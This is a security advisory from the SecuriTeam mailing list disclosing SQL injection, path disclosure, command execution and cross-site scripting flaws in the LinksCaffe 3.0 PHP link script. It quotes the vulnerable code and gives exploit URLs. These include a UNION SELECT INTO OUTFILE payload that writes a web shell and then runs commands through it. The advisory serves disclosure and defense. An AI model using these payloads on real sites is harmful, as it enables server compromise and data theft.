The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
LinksCaffe SQL Injection Vulnerabilities
------------------------------------------------------------------------
SUMMARY
<http://gonafish.com/index.php?id=1> LinksCaffePRO is "a MySQL database
driven link indexing script written in PHP 4. Using the admin script you
have full control to add/modify/remove any link(s) or categorie(s)".
Multiple security vulnerabilities in LinksCaffe allow remote attackers to
cause the server to execute arbitrary SQL statements.
DETAILS
Vulnerable Systems:
* LinksCaffe version 3.0
Vulnerable code in line 223 in links.php code:
$rime = mysql_query("SELECT * from links WHERE link_val like 'yes' AND
cat_id LIKE '$cat' ORDER BY hits DESC, link_pop DESC, rate DESC LIMIT
$offset, $limit") or die(mysql_error());
$offset and $limit vars are not sanitized before to be used to conduct SQL
injection attacks
Exploit:
http://localhost/linkscaffe/links.php?cat=1&offset=[SQL]
http://localhost/linkscaffe/links.php?cat=1&limit=[SQL]
Vulnerable code in line 516 in links.php code:
if (!$newdays)
{
$newdays=$daysnew;
}
else
{
$newdays=$newdays;
}
$rime1 = mysql_query("SELECT COUNT(*) from links WHERE (to_days(NOW()) -
to_days(links.date)) <= $newdays AND link_val = 'yes'") or
die(mysql_error());
Exploit:
http://localhost/linkscaffe/links.php?action=new&newdays=[SQL]
Vulnerable code in line 516 in links.php code:
if ($action=="deadlink")
{
........
$rime = mysql_query("SELECT * from links WHERE link_id=$link_id") or
die(mysql_error());
while($row = mysql_fetch_array($rime)) {
extract($row);
echo "<li><font class=text10><a href='$link_url'
target='_blank'>$link_name</a><br>$link_desc<br></font></li>";
echo "<input type = 'hidden' name = 'link_id' value='$link_id'><input
type = 'hidden' name = 'cat_id' value='$cat_id'><input type = 'hidden'
name = 'link_name' value='$link_name'>
<input type = 'hidden' name = 'link_url' value='$link_url'><input type =
'hidden' name = 'link_desc' value='$link_desc'><input type = 'hidden' name
= 'link_email' value='$link_email'><br><input type = 'submit' value =
'Dead Link'>";
}
$link_id var are not sanitized before to be used to conduct SQL injection
attacks
Exploit:
http://localhost/linkscaffe/links.php?action=deadlink&link_id=[SQL]
Path disclosure:
Exploit:
http://localhost/linkscaffe/links.php?action=new&newdays=-1+UNION+SELECT+123456/*
Result:
Warning: Supplied argument is not a valid MySQL result resource in
/usr/home/simo64/linkscaffe/links.php on line 540
Warning: Supplied argument is not a valid MySQL result resource in
/usr/home/simo64/linkscaffe/links.php on line 549
Warning: Supplied argument is not a valid MySQL result resource in
/usr/home/simo64/linkscaffe/links.php on line 554
Command execution:
If magic_quote_gpc == OFF we can create a shell in writable folder using
(3).
Exploit:
http://localhost/linkscaffe/links.php?action=deadlink&link_id=-1+UNION+SELECT+0,
0,0,0,'', 0,0,0,0,0,0,0,0,0,0
INTO%20OUTFILE%20'/usr/home/simo64/linkscaffe/pipo.php'/*
After we can exec cmds by accessing:
http://localhost/linkscaffe/pipo.php?cmd=ls;id
Cross Site Scripting:
1) $tablewidth var in counter.php is not sanitized before to be used to
conduct XSS attacks
2) $newdays var in links.php is not sanitized before to be used to conduct
XSS attacks
3) $tableborder, $menucolor, $textcolor, $bodycolor vars in links.php are
not sanitized before to be used to conduct XSS attacks
Exploit:
http://localhost/linkscaffe/counter.php?tablewidth='%3E[XSS]
http://localhost/linkscaffe/links.php?action=new&newdays=[XSS]
http://localhost/linkscaffe/menu.inc.php?tableborder='%3E[XSS]
http://localhost/linkscaffe/menu.inc.php?menucolor='%3E[XSS]
http://localhost/linkscaffe/menu.inc.php?textcolor='%3E[XSS]
http://localhost/linkscaffe/menu.inc.php?bodycolor='%3E[XSS]
ADDITIONAL INFORMATION
The information has been provided by <mailto:simo64@gmail.com> simo64.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
